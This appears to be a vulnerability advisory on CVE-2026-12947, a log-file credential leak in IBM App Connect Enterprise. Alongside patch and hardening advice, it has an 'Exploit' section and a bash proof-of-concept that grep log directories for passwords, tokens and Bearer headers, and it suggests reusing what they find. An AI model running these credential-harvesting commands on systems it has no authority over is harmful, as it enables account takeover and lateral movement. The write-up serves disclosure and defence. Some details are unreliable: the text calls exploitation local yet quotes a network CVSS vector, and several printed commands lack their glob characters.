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How CVE-2026-12947 Works
IBM App Connect Enterprise (ACE) is an integration platform that connects applications, data, and devices across hybrid cloud environments. The platform generates extensive diagnostic and operational logs to assist administrators in troubleshooting and monitoring message flows, connector activities, and system health. CVE-2026-12947 arises from a fundamental flaw in how the application handles sensitive data within its logging subsystems. Specifically, the Discovery Connector nodes—components responsible for dynamically discovering and interfacing with external systems—inadvertently write potentially sensitive information into plaintext log files without proper sanitization, masking, or encryption.
The vulnerability is rooted in CWE-532: Insertion of Sensitive Information into Log Files. When the Discovery Connector processes requests or responses, it may log verbose debug information that includes authentication credentials (such as API keys, passwords, or OAuth tokens), session identifiers, system configuration parameters, database connection strings, or internal network topology details. This occurs because the logging mechanism does not distinguish between benign diagnostic data and confidential payloads; it simply records the raw data stream for later review.
A local user with read access to the filesystem—such as a low-privileged system account, a co-tenant on a shared server, or an attacker who has already achieved initial foothold via another vector—can directly read these log files. The log files are typically stored in well-known directories with default permissions that may be overly permissive. Because the logs are static and persistent, the exposure window can extend indefinitely unless log rotation or secure deletion policies are enforced.
The attack requires no remote access, no authentication to the ACE application itself, and no user interaction. The only prerequisite is local access to the operating system hosting the ACE instance. This makes the vulnerability particularly dangerous in multi-tenant environments, cloud deployments where ephemeral storage may be snapshotted, or scenarios where system administrators share access to log aggregation tools. Once the sensitive information is extracted, an attacker can leverage it for privilege escalation, lateral movement, or impersonation of trusted services, effectively bypassing the application’s security boundaries.
IBM has assigned a CVSS base score of 7.5 (High) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N. Although the attack vector is marked as “Network” in the CVSS, the practical exploitation is limited to local file system access; the high score reflects the confidentiality impact (High) and the lack of required privileges or user interaction.
DailyCVE Form:
Platform: IBM ACE
Version: 13.0.1.0-13.0.7.2, 12.0.1.0-12.0.12.27
Vulnerability: Log file info disclosure
Severity: High (7.5 CVSS)
date: 2026-07-30
Prediction: 2026-08-15
Analytics (What Undercode Say)
The following bash commands and analytical checks can be used to assess exposure and detect potential exploitation of CVE-2026-12947.
1. Check for Sensitive Patterns in Log Files
Search for common credential patterns in ACE logs grep -E -r "(password|secret|token|api_key|auth|credential|PASS|KEY)" /var/log/ace/.log 2>/dev/null
2. Verify File Permissions on Log Directories
List permissions of ACE log directories
ls -la /var/log/ace/
Check if logs are readable by non-privileged users
find /var/log/ace/ -type f -exec ls -l {} \; | awk '{print $1, $9}'
3. Identify Discovery Connector Log Entries
Filter logs for Discovery Connector activity grep -i "DiscoveryConnector" /var/log/ace/.log
4. Monitor for Unauthorized Log Access
Use auditd to track reads of ACE log files (requires root) auditctl -w /var/log/ace/ -p r -k ace_log_access Review audit logs ausearch -k ace_log_access
5. Check for Exposed Credentials in Backup or Archived Logs
Search compressed log archives
find /var/log/ace/ -name ".gz" -exec zgrep -E "(password|token|secret)" {} \;
6. Simulate an Attackers’ Perspective (Low-Privilege User)
Attempt to read logs as a non-privileged user sudo -u nobody cat /var/log/ace/discovery.log 2>/dev/null
Exploit
Exploitation of CVE-2026-12947 is trivial for any local user with read access to the ACE log directories. No special tools or complex payloads are required. The attacker simply navigates to the log storage location and extracts sensitive information.
Example Exploitation Steps:
1. Identify Log Location
Default log paths for IBM ACE include:
– `/var/log/ace/`
– `/opt/ibm/ace/server/logs/`
– `~/IBM/ACE/logs/` (on Windows)
2. Read Log Files
cat /var/log/ace/discovery-connector.log
3. Extract Credentials
grep -E "Authorization: Bearer|password=|api_key=" /var/log/ace/.log
4. Use Extracted Data
- Reuse API keys or tokens to authenticate to external systems.
- Decrypt or connect to databases using leaked connection strings.
- Impersonate service accounts using captured session IDs.
PoC Script (Bash)
!/bin/bash
CVE-2026-12947 - Local Information Disclosure Checker
LOG_DIR="/var/log/ace"
OUTPUT="extracted_sensitive.txt"
echo "[] Scanning ACE logs for sensitive data..."
find "$LOG_DIR" -type f -name ".log" -exec grep -H -E "(password|secret|token|api_key|auth|credential|PASS|KEY|Authorization)" {} \; > "$OUTPUT"
if [ -s "$OUTPUT" ]; then
echo "[!] Sensitive data found in logs. Check $OUTPUT"
else
echo "[-] No obvious sensitive patterns found."
fi
Protection
1. Apply IBM Fix (APAR IT49670)
IBM has released fixes for all affected versions:
- Upgrade to 13.0.8.0 or later for the 13.0.x branch.
- Upgrade to 12.0.12.28 or later for the 12.0.x branch.
- Alternatively, apply the interim fix (APAR IT49670) from IBM Fix Central.
2. Restrict File System Permissions
Limit read access to log directories to only the ACE service account and authorized administrators:
chown -R aceuser:acegroup /var/log/ace/ chmod -R 750 /var/log/ace/
3. Enable Log Encryption
Configure ACE to use encrypted logging (if supported) or implement filesystem-level encryption (e.g., LUKS, EFS).
4. Implement Log Sanitization
Use log filtering or redaction tools to mask sensitive data before writing to logs. Custom Java or Node.js interceptors can be written for ACE.
5. Regular Log Auditing and Rotation
Set up log rotation with secure deletion:
Example logrotate configuration
/var/log/ace/.log {
daily
rotate 7
compress
missingok
notifempty
create 0640 aceuser acegroup
postrotate
find /var/log/ace/ -name ".gz" -mtime +30 -delete
endscript
}
6. Monitor and Alert
Deploy SIEM rules to detect unusual access to log files or extraction of credential patterns.
Impact
Confidentiality Impact (High):
Sensitive information such as API keys, passwords, OAuth tokens, database credentials, and internal network details can be exposed, leading to unauthorized access to connected systems and data.
Integrity Impact (None):
The vulnerability does not allow modification of data or logs; it is strictly a read-based information disclosure.
Availability Impact (None):
No denial-of-service or resource exhaustion is associated with this CVE.
Lateral Movement and Privilege Escalation:
Stolen credentials can enable attackers to pivot to other systems, escalate privileges within the ACE environment, or compromise upstream/downstream services.
Compliance Violations:
Exposure of sensitive data may violate GDPR, HIPAA, PCI-DSS, or other regulatory frameworks, leading to fines and reputational damage.
Operational Risk:
Organizations using ACE in multi-tenant or shared infrastructure are at heightened risk, as any local user (including malicious insiders or compromised services) can harvest credentials.
Remediation Urgency:
Given the ease of exploitation and the high confidentiality impact, IBM has rated this as High severity (CVSS 7.5). Patching should be prioritized within standard change windows, and immediate mitigations (permission restrictions, encryption) should be applied where patching is delayed.
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Sources:
Reported By: nvd.nist.gov
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